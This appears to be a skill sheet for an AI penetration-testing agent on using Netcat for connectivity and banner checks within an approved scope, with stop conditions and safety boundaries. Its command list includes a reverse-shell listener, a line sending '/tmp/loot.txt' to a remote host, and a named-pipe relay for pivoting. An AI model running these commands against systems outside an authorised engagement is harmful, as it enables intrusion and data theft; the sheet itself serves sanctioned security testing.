Netcat
Purpose
Use this skill for low-overhead socket and path validation when the current hypothesis depends on simple connectivity, banner, or listener behavior.
Phase Fit
- Primary: Discovery and Reconnaissance, Validation and Controlled Impact Demonstration
- Secondary: Retest and Closure
Use When
- Need to confirm TCP or UDP reachability.
- Need simple listener or banner tests.
- Need a minimal proof of a network path or transfer route.
Avoid When
- The network path is not explicitly approved.
- Ad hoc listeners or transfers would exceed the agreed impact level.
Inputs
- Approved host and port scope
- Direction of the connectivity check
- Stop conditions and logging expectations
Procedure
- Keep the host and port scope minimal.
- Validate only the specific reachability or banner question.
- Record exact listener or client parameters used.
- Stop once the path is confirmed or disproved.
- Tear down listeners immediately after validation.
Command Syntax
Replace sample hosts and ports with approved in-scope values.
# Connect and grab a banner
nc -nv 10.10.10.100 80
# Listen for a reverse shell connection
nc -lvnp 4444
# Send a file
nc -nv 10.10.10.1 4444 < /tmp/loot.txt
# Receive a file
nc -lvnp 4444 > /tmp/received.txt
# Manual HTTP request
printf 'GET / HTTP/1.0\r\nHost: portal.contoso.com\r\n\r\n' | nc portal.contoso.com 80
# Pipe-based relay
mkfifo /tmp/backpipe && nc -lvnp 4444 < /tmp/backpipe | nc 10.10.10.100 80 > /tmp/backpipe
Evidence to Capture
- Whether the approved network path or listener worked
- Exact host, port, and direction used
- Minimal proof needed for remediation
Safety Boundaries
- Use only within the explicitly approved host and port scope.
- Keep listeners short-lived and fully documented.